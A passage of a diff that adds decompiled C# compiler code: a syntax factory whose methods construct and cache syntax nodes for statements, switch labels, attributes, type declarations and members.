attributeLists.Node, doKeyword, statement, whileKeyword, openParenToken, condition, closeParenToken, semicolonToken, context); + } + + public ForStatementSyntax ForStatement(SyntaxList attributeLists, SyntaxToken forKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, SeparatedSyntaxList initializers, SyntaxToken firstSemicolonToken, ExpressionSyntax? condition, SyntaxToken secondSemicolonToken, SeparatedSyntaxList incrementors, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new ForStatementSyntax(SyntaxKind.ForStatement, attributeLists.Node, forKeyword, openParenToken, declaration, initializers.Node, firstSemicolonToken, condition, secondSemicolonToken, incrementors.Node, closeParenToken, statement, context); + } + + public ForEachStatementSyntax ForEachStatement(SyntaxList attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new ForEachStatementSyntax(SyntaxKind.ForEachStatement, attributeLists.Node, awaitKeyword, forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement, context); + } + + public ForEachVariableStatementSyntax ForEachVariableStatement(SyntaxList attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, ExpressionSyntax variable, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new ForEachVariableStatementSyntax(SyntaxKind.ForEachVariableStatement, attributeLists.Node, awaitKeyword, forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement, context); + } + + public UsingStatementSyntax UsingStatement(SyntaxList attributeLists, SyntaxToken? awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, ExpressionSyntax? expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new UsingStatementSyntax(SyntaxKind.UsingStatement, attributeLists.Node, awaitKeyword, usingKeyword, openParenToken, declaration, expression, closeParenToken, statement, context); + } + + public FixedStatementSyntax FixedStatement(SyntaxList attributeLists, SyntaxToken fixedKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new FixedStatementSyntax(SyntaxKind.FixedStatement, attributeLists.Node, fixedKeyword, openParenToken, declaration, closeParenToken, statement, context); + } + + public CheckedStatementSyntax CheckedStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken keyword, BlockSyntax block) + { + if (kind - 8815 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, attributeLists.Node, (GreenNode)(object)keyword, (GreenNode)(object)block, context, out hash); + if (val != null) + { + return (CheckedStatementSyntax)(object)val; + } + CheckedStatementSyntax checkedStatementSyntax = new CheckedStatementSyntax(kind, attributeLists.Node, keyword, block, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)checkedStatementSyntax, hash); + } + return checkedStatementSyntax; + } + + public UnsafeStatementSyntax UnsafeStatement(SyntaxList attributeLists, SyntaxToken unsafeKeyword, BlockSyntax block) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8817, attributeLists.Node, (GreenNode)(object)unsafeKeyword, (GreenNode)(object)block, context, out hash); + if (val != null) + { + return (UnsafeStatementSyntax)(object)val; + } + UnsafeStatementSyntax unsafeStatementSyntax = new UnsafeStatementSyntax(SyntaxKind.UnsafeStatement, attributeLists.Node, unsafeKeyword, block, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)unsafeStatementSyntax, hash); + } + return unsafeStatementSyntax; + } + + public LockStatementSyntax LockStatement(SyntaxList attributeLists, SyntaxToken lockKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new LockStatementSyntax(SyntaxKind.LockStatement, attributeLists.Node, lockKeyword, openParenToken, expression, closeParenToken, statement, context); + } + + public IfStatementSyntax IfStatement(SyntaxList attributeLists, SyntaxToken ifKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, ElseClauseSyntax? @else) + { + return new IfStatementSyntax(SyntaxKind.IfStatement, attributeLists.Node, ifKeyword, openParenToken, condition, closeParenToken, statement, @else, context); + } + + public ElseClauseSyntax ElseClause(SyntaxToken elseKeyword, StatementSyntax statement) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8820, (GreenNode)(object)elseKeyword, (GreenNode)(object)statement, context, out hash); + if (val != null) + { + return (ElseClauseSyntax)(object)val; + } + ElseClauseSyntax elseClauseSyntax = new ElseClauseSyntax(SyntaxKind.ElseClause, elseKeyword, statement, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)elseClauseSyntax, hash); + } + return elseClauseSyntax; + } + + public SwitchStatementSyntax SwitchStatement(SyntaxList attributeLists, SyntaxToken switchKeyword, SyntaxToken? openParenToken, ExpressionSyntax expression, SyntaxToken? closeParenToken, SyntaxToken openBraceToken, SyntaxList sections, SyntaxToken closeBraceToken) + { + return new SwitchStatementSyntax(SyntaxKind.SwitchStatement, attributeLists.Node, switchKeyword, openParenToken, expression, closeParenToken, openBraceToken, sections.Node, closeBraceToken, context); + } + + public SwitchSectionSyntax SwitchSection(SyntaxList labels, SyntaxList statements) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8822, labels.Node, statements.Node, context, out hash); + if (val != null) + { + return (SwitchSectionSyntax)(object)val; + } + SwitchSectionSyntax switchSectionSyntax = new SwitchSectionSyntax(SyntaxKind.SwitchSection, labels.Node, statements.Node, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)switchSectionSyntax, hash); + } + return switchSectionSyntax; + } + + public CasePatternSwitchLabelSyntax CasePatternSwitchLabel(SyntaxToken keyword, PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken colonToken) + { + return new CasePatternSwitchLabelSyntax(SyntaxKind.CasePatternSwitchLabel, keyword, pattern, whenClause, colonToken, context); + } + + public CaseSwitchLabelSyntax CaseSwitchLabel(SyntaxToken keyword, ExpressionSyntax value, SyntaxToken colonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8823, (GreenNode)(object)keyword, (GreenNode)(object)value, (GreenNode)(object)colonToken, context, out hash); + if (val != null) + { + return (CaseSwitchLabelSyntax)(object)val; + } + CaseSwitchLabelSyntax caseSwitchLabelSyntax = new CaseSwitchLabelSyntax(SyntaxKind.CaseSwitchLabel, keyword, value, colonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)caseSwitchLabelSyntax, hash); + } + return caseSwitchLabelSyntax; + } + + public DefaultSwitchLabelSyntax DefaultSwitchLabel(SyntaxToken keyword, SyntaxToken colonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8824, (GreenNode)(object)keyword, (GreenNode)(object)colonToken, context, out hash); + if (val != null) + { + return (DefaultSwitchLabelSyntax)(object)val; + } + DefaultSwitchLabelSyntax defaultSwitchLabelSyntax = new DefaultSwitchLabelSyntax(SyntaxKind.DefaultSwitchLabel, keyword, colonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)defaultSwitchLabelSyntax, hash); + } + return defaultSwitchLabelSyntax; + } + + public SwitchExpressionSyntax SwitchExpression(ExpressionSyntax governingExpression, SyntaxToken switchKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList arms, SyntaxToken closeBraceToken) + { + return new SwitchExpressionSyntax(SyntaxKind.SwitchExpression, governingExpression, switchKeyword, openBraceToken, arms.Node, closeBraceToken, context); + } + + public SwitchExpressionArmSyntax SwitchExpressionArm(PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken equalsGreaterThanToken, ExpressionSyntax expression) + { + return new SwitchExpressionArmSyntax(SyntaxKind.SwitchExpressionArm, pattern, whenClause, equalsGreaterThanToken, expression, context); + } + + public TryStatementSyntax TryStatement(SyntaxList attributeLists, SyntaxToken tryKeyword, BlockSyntax block, SyntaxList catches, FinallyClauseSyntax? @finally) + { + return new TryStatementSyntax(SyntaxKind.TryStatement, attributeLists.Node, tryKeyword, block, catches.Node, @finally, context); + } + + public CatchClauseSyntax CatchClause(SyntaxToken catchKeyword, CatchDeclarationSyntax? declaration, CatchFilterClauseSyntax? filter, BlockSyntax block) + { + return new CatchClauseSyntax(SyntaxKind.CatchClause, catchKeyword, declaration, filter, block, context); + } + + public CatchDeclarationSyntax CatchDeclaration(SyntaxToken openParenToken, TypeSyntax type, SyntaxToken? identifier, SyntaxToken closeParenToken) + { + return new CatchDeclarationSyntax(SyntaxKind.CatchDeclaration, openParenToken, type, identifier, closeParenToken, context); + } + + public CatchFilterClauseSyntax CatchFilterClause(SyntaxToken whenKeyword, SyntaxToken openParenToken, ExpressionSyntax filterExpression, SyntaxToken closeParenToken) + { + return new CatchFilterClauseSyntax(SyntaxKind.CatchFilterClause, whenKeyword, openParenToken, filterExpression, closeParenToken, context); + } + + public FinallyClauseSyntax FinallyClause(SyntaxToken finallyKeyword, BlockSyntax block) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8829, (GreenNode)(object)finallyKeyword, (GreenNode)(object)block, context, out hash); + if (val != null) + { + return (FinallyClauseSyntax)(object)val; + } + FinallyClauseSyntax finallyClauseSyntax = new FinallyClauseSyntax(SyntaxKind.FinallyClause, finallyKeyword, block, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)finallyClauseSyntax, hash); + } + return finallyClauseSyntax; + } + + public CompilationUnitSyntax CompilationUnit(SyntaxList externs, SyntaxList usings, SyntaxList attributeLists, SyntaxList members, SyntaxToken endOfFileToken) + { + return new CompilationUnitSyntax(SyntaxKind.CompilationUnit, externs.Node, usings.Node, attributeLists.Node, members.Node, endOfFileToken, context); + } + + public ExternAliasDirectiveSyntax ExternAliasDirective(SyntaxToken externKeyword, SyntaxToken aliasKeyword, SyntaxToken identifier, SyntaxToken semicolonToken) + { + return new ExternAliasDirectiveSyntax(SyntaxKind.ExternAliasDirective, externKeyword, aliasKeyword, identifier, semicolonToken, context); + } + + public UsingDirectiveSyntax UsingDirective(SyntaxToken? globalKeyword, SyntaxToken usingKeyword, SyntaxToken? staticKeyword, SyntaxToken? unsafeKeyword, NameEqualsSyntax? alias, TypeSyntax namespaceOrType, SyntaxToken semicolonToken) + { + return new UsingDirectiveSyntax(SyntaxKind.UsingDirective, globalKeyword, usingKeyword, staticKeyword, unsafeKeyword, alias, namespaceOrType, semicolonToken, context); + } + + public NamespaceDeclarationSyntax NamespaceDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken openBraceToken, SyntaxList externs, SyntaxList usings, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken? semicolonToken) + { + return new NamespaceDeclarationSyntax(SyntaxKind.NamespaceDeclaration, attributeLists.Node, modifiers.Node, namespaceKeyword, name, openBraceToken, externs.Node, usings.Node, members.Node, closeBraceToken, semicolonToken, context); + } + + public FileScopedNamespaceDeclarationSyntax FileScopedNamespaceDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken semicolonToken, SyntaxList externs, SyntaxList usings, SyntaxList members) + { + return new FileScopedNamespaceDeclarationSyntax(SyntaxKind.FileScopedNamespaceDeclaration, attributeLists.Node, modifiers.Node, namespaceKeyword, name, semicolonToken, externs.Node, usings.Node, members.Node, context); + } + + public AttributeListSyntax AttributeList(SyntaxToken openBracketToken, AttributeTargetSpecifierSyntax? target, SeparatedSyntaxList attributes, SyntaxToken closeBracketToken) + { + return new AttributeListSyntax(SyntaxKind.AttributeList, openBracketToken, target, attributes.Node, closeBracketToken, context); + } + + public AttributeTargetSpecifierSyntax AttributeTargetSpecifier(SyntaxToken identifier, SyntaxToken colonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8848, (GreenNode)(object)identifier, (GreenNode)(object)colonToken, context, out hash); + if (val != null) + { + return (AttributeTargetSpecifierSyntax)(object)val; + } + AttributeTargetSpecifierSyntax attributeTargetSpecifierSyntax = new AttributeTargetSpecifierSyntax(SyntaxKind.AttributeTargetSpecifier, identifier, colonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)attributeTargetSpecifierSyntax, hash); + } + return attributeTargetSpecifierSyntax; + } + + public AttributeSyntax Attribute(NameSyntax name, AttributeArgumentListSyntax? argumentList) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8849, (GreenNode)(object)name, (GreenNode)(object)argumentList, context, out hash); + if (val != null) + { + return (AttributeSyntax)(object)val; + } + AttributeSyntax attributeSyntax = new AttributeSyntax(SyntaxKind.Attribute, name, argumentList, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)attributeSyntax, hash); + } + return attributeSyntax; + } + + public AttributeArgumentListSyntax AttributeArgumentList(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8850, (GreenNode)(object)openParenToken, arguments.Node, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (AttributeArgumentListSyntax)(object)val; + } + AttributeArgumentListSyntax attributeArgumentListSyntax = new AttributeArgumentListSyntax(SyntaxKind.AttributeArgumentList, openParenToken, arguments.Node, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)attributeArgumentListSyntax, hash); + } + return attributeArgumentListSyntax; + } + + public AttributeArgumentSyntax AttributeArgument(NameEqualsSyntax? nameEquals, NameColonSyntax? nameColon, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8851, (GreenNode)(object)nameEquals, (GreenNode)(object)nameColon, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (AttributeArgumentSyntax)(object)val; + } + AttributeArgumentSyntax attributeArgumentSyntax = new AttributeArgumentSyntax(SyntaxKind.AttributeArgument, nameEquals, nameColon, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)attributeArgumentSyntax, hash); + } + return attributeArgumentSyntax; + } + + public NameEqualsSyntax NameEquals(IdentifierNameSyntax name, SyntaxToken equalsToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8852, (GreenNode)(object)name, (GreenNode)(object)equalsToken, context, out hash); + if (val != null) + { + return (NameEqualsSyntax)(object)val; + } + NameEqualsSyntax nameEqualsSyntax = new NameEqualsSyntax(SyntaxKind.NameEquals, name, equalsToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)nameEqualsSyntax, hash); + } + return nameEqualsSyntax; + } + + public TypeParameterListSyntax TypeParameterList(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8909, (GreenNode)(object)lessThanToken, parameters.Node, (GreenNode)(object)greaterThanToken, context, out hash); + if (val != null) + { + return (TypeParameterListSyntax)(object)val; + } + TypeParameterListSyntax typeParameterListSyntax = new TypeParameterListSyntax(SyntaxKind.TypeParameterList, lessThanToken, parameters.Node, greaterThanToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeParameterListSyntax, hash); + } + return typeParameterListSyntax; + } + + public TypeParameterSyntax TypeParameter(SyntaxList attributeLists, SyntaxToken? varianceKeyword, SyntaxToken identifier) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8910, attributeLists.Node, (GreenNode)(object)varianceKeyword, (GreenNode)(object)identifier, context, out hash); + if (val != null) + { + return (TypeParameterSyntax)(object)val; + } + TypeParameterSyntax typeParameterSyntax = new TypeParameterSyntax(SyntaxKind.TypeParameter, attributeLists.Node, varianceKeyword, identifier, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeParameterSyntax, hash); + } + return typeParameterSyntax; + } + + public ClassDeclarationSyntax ClassDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken? openBraceToken, SyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + return new ClassDeclarationSyntax(SyntaxKind.ClassDeclaration, attributeLists.Node, modifiers.Node, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses.Node, openBraceToken, members.Node, closeBraceToken, semicolonToken, context); + } + + public StructDeclarationSyntax StructDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken? openBraceToken, SyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + return new StructDeclarationSyntax(SyntaxKind.StructDeclaration, attributeLists.Node, modifiers.Node, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses.Node, openBraceToken, members.Node, closeBraceToken, semicolonToken, context); + } + + public InterfaceDeclarationSyntax InterfaceDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken? openBraceToken, SyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + return new InterfaceDeclarationSyntax(SyntaxKind.InterfaceDeclaration, attributeLists.Node, modifiers.Node, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses.Node, openBraceToken, members.Node, closeBraceToken, semicolonToken, context); + } + + public RecordDeclarationSyntax RecordDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken? classOrStructKeyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken? openBraceToken, SyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + if (kind != SyntaxKind.RecordDeclaration && kind != SyntaxKind.RecordStructDeclaration) + { + throw new ArgumentException("kind"); + } + return new RecordDeclarationSyntax(kind, attributeLists.Node, modifiers.Node, keyword, classOrStructKeyword, identifier, typeParameterList, parameterList, baseList, constraintClauses.Node, openBraceToken, members.Node, closeBraceToken, semicolonToken, context); + } + + public EnumDeclarationSyntax EnumDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken enumKeyword, SyntaxToken identifier, BaseListSyntax? baseList, SyntaxToken? openBraceToken, SeparatedSyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + return new EnumDeclarationSyntax(SyntaxKind.EnumDeclaration, attributeLists.Node, modifiers.Node, enumKeyword, identifier, baseList, openBraceToken, members.Node, closeBraceToken, semicolonToken, context); + } + + public DelegateDeclarationSyntax DelegateDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken delegateKeyword, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, SyntaxToken semicolonToken) + { + return new DelegateDeclarationSyntax(SyntaxKind.DelegateDeclaration, attributeLists.Node, modifiers.Node, delegateKeyword, returnType, identifier, typeParameterList, parameterList, constraintClauses.Node, semicolonToken, context); + } + + public EnumMemberDeclarationSyntax EnumMemberDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken identifier, EqualsValueClauseSyntax? equalsValue) + { + return new EnumMemberDeclarationSyntax(SyntaxKind.EnumMemberDeclaration, attributeLists.Node, modifiers.Node, identifier, equalsValue, context); + } + + public BaseListSyntax BaseList(SyntaxToken colonToken, SeparatedSyntaxList types) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8864, (GreenNode)(object)colonToken, types.Node, context, out hash); + if (val != null) + { + return (BaseListSyntax)(object)val; + } + BaseListSyntax baseListSyntax = new BaseListSyntax(SyntaxKind.BaseList, colonToken, types.Node, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)baseListSyntax, hash); + } + return baseListSyntax; + } + + public SimpleBaseTypeSyntax SimpleBaseType(TypeSyntax type) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8865, (GreenNode)(object)type, context, out hash); + if (val != null) + { + return (SimpleBaseTypeSyntax)(object)val; + } + SimpleBaseTypeSyntax simpleBaseTypeSyntax = new SimpleBaseTypeSyntax(SyntaxKind.SimpleBaseType, type, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)simpleBaseTypeSyntax, hash); + } + return simpleBaseTypeSyntax; + } + + public PrimaryConstructorBaseTypeSyntax PrimaryConstructorBaseType(TypeSyntax type, ArgumentListSyntax argumentList) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9065, (GreenNode)(object)type, (GreenNode)(object)argumentList, context, out hash); + if (val != null) + { + return (PrimaryConstructorBaseTypeSyntax)(object)val; + } + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax = new PrimaryConstructorBaseTypeSyntax(SyntaxKind.PrimaryConstructorBaseType, type, argumentList, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)primaryConstructorBaseTypeSyntax, hash); + } + return primaryConstructorBaseTypeSyntax; + } + + public TypeParameterConstraintClauseSyntax TypeParameterConstraintClause(SyntaxToken whereKeyword, IdentifierNameSyntax name, SyntaxToken colonToken, SeparatedSyntaxList constraints) + { + return new TypeParameterConstraintClauseSyntax(SyntaxKind.TypeParameterConstraintClause, whereKeyword, name, colonToken, constraints.Node, context); + } + + public ConstructorConstraintSyntax ConstructorConstraint(SyntaxToken newKeyword, SyntaxToken openParenToken, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8867, (GreenNode)(object)newKeyword, (GreenNode)(object)openParenToken, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (ConstructorConstraintSyntax)(object)val; + } + ConstructorConstraintSyntax constructorConstraintSyntax = new ConstructorConstraintSyntax(SyntaxKind.ConstructorConstraint, newKeyword, openParenToken, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)constructorConstraintSyntax, hash); + } + return constructorConstraintSyntax; + } + + public ClassOrStructConstraintSyntax ClassOrStructConstraint(SyntaxKind kind, SyntaxToken classOrStructKeyword, SyntaxToken? questionToken) + { + if (kind - 8868 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)classOrStructKeyword, (GreenNode)(object)questionToken, context, out hash); + if (val != null) + { + return (ClassOrStructConstraintSyntax)(object)val; + } + ClassOrStructConstraintSyntax classOrStructConstraintSyntax = new ClassOrStructConstraintSyntax(kind, classOrStructKeyword, questionToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)classOrStructConstraintSyntax, hash); + } + return classOrStructConstraintSyntax; + } + + public TypeConstraintSyntax TypeConstraint(TypeSyntax type) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8870, (GreenNode)(object)type, context, out hash); + if (val != null) + { + return (TypeConstraintSyntax)(object)val; + } + TypeConstraintSyntax typeConstraintSyntax = new TypeConstraintSyntax(SyntaxKind.TypeConstraint, type, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeConstraintSyntax, hash); + } + return typeConstraintSyntax; + } + + public DefaultConstraintSyntax DefaultConstraint(SyntaxToken defaultKeyword) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9064, (GreenNode)(object)defaultKeyword, context, out hash); + if (val != null) + { + return (DefaultConstraintSyntax)(object)val; + } + DefaultConstraintSyntax defaultConstraintSyntax = new DefaultConstraintSyntax(SyntaxKind.DefaultConstraint, defaultKeyword, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)defaultConstraintSyntax, hash); + } + return defaultConstraintSyntax; + } + + public FieldDeclarationSyntax FieldDeclaration(SyntaxList attributeLists, SyntaxList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + return new FieldDeclarationSyntax(SyntaxKind.FieldDeclaration, attributeLists.Node, modifiers.Node, declaration, semicolonToken, context); + } + + public EventFieldDeclarationSyntax EventFieldDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken eventKeyword, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + return new EventFieldDeclarationSyntax(SyntaxKind.EventFieldDeclaration, attributeLists.Node, modifiers.Node, eventKeyword, declaration, semicolonToken, context); + } + + public ExplicitInterfaceSpecifierSyntax ExplicitInterfaceSpecifier(NameSyntax name, SyntaxToken dotToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8871, (GreenNode)(object)name, (GreenNode)(object)dotToken, context, out hash); + if (val != null) + { + return (ExplicitInterfaceSpecifierSyntax)(object)val; + } + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = new ExplicitInterfaceSpecifierSyntax(SyntaxKind.ExplicitInterfaceSpecifier, name, dotToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)explicitInterfaceSpecifierSyntax, hash); + } + return explicitInterfaceSpecifierSyntax; + } + + public MethodDeclarationSyntax MethodDeclaration(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new MethodDeclarationSyntax(SyntaxKind.MethodDeclaration, attributeLists.Node, modifiers.Node, returnType, explicitInterfaceSpecifier, identifier, typeParameterList, parameterList, constraintClauses.Node, body, expressionBody, semicolonToken, context); + } + + public OperatorDeclarationSyntax OperatorDeclaration(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new OperatorDeclarationSyntax(SyntaxKind.OperatorDeclaration, attributeLists.Node, modifiers.Node, returnType, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, operatorToken, parameterList, body, expressionBody, semicolonToken, context); + } + + public ConversionOperatorDeclarationSyntax ConversionOperatorDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken implicitOrExplicitKeyword, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new ConversionOperatorDeclarationSyntax(SyntaxKind.ConversionOperatorDeclaration, attributeLists.Node, modifiers.Node, implicitOrExplicitKeyword, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, type, parameterList, body, expressionBody, semicolonToken, context); + } + + public ConstructorDeclarationSyntax ConstructorDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken identifier, ParameterListSyntax parameterList, ConstructorInitializerSyntax? initializer, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new ConstructorDeclarationSyntax(SyntaxKind.ConstructorDeclaration, attributeLists.Node, modifiers.Node, identifier, parameterList, initializer, body, expressionBody, semicolonToken, context); + } + + public ConstructorInitializerSyntax ConstructorInitializer(SyntaxKind kind, SyntaxToken colonToken, SyntaxToken thisOrBaseKeyword, ArgumentListSyntax argumentList) + { + if (kind - 8889 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)colonToken, (GreenNode)(object)thisOrBaseKeyword, (GreenNode)(object)argumentList, context, out hash); + if (val != null) + { + return (ConstructorInitializerSyntax)(object)val; + } + ConstructorInitializerSyntax constructorInitializerSyntax = new ConstructorInitializerSyntax(kind, colonToken, thisOrBaseKeyword, argumentList, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)constructorInitializerSyntax, hash); + } + return constructorInitializerSyntax; + } + + public DestructorDeclarationSyntax DestructorDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken tildeToken, SyntaxToken identifier, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new DestructorDeclarationSyntax(SyntaxKind.DestructorDeclaration, attributeLists.Node, modifiers.Node, tildeToken, identifier, parameterList, body, expressionBody, semicolonToken, context); + } + + public PropertyDeclarationSyntax PropertyDeclaration(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, 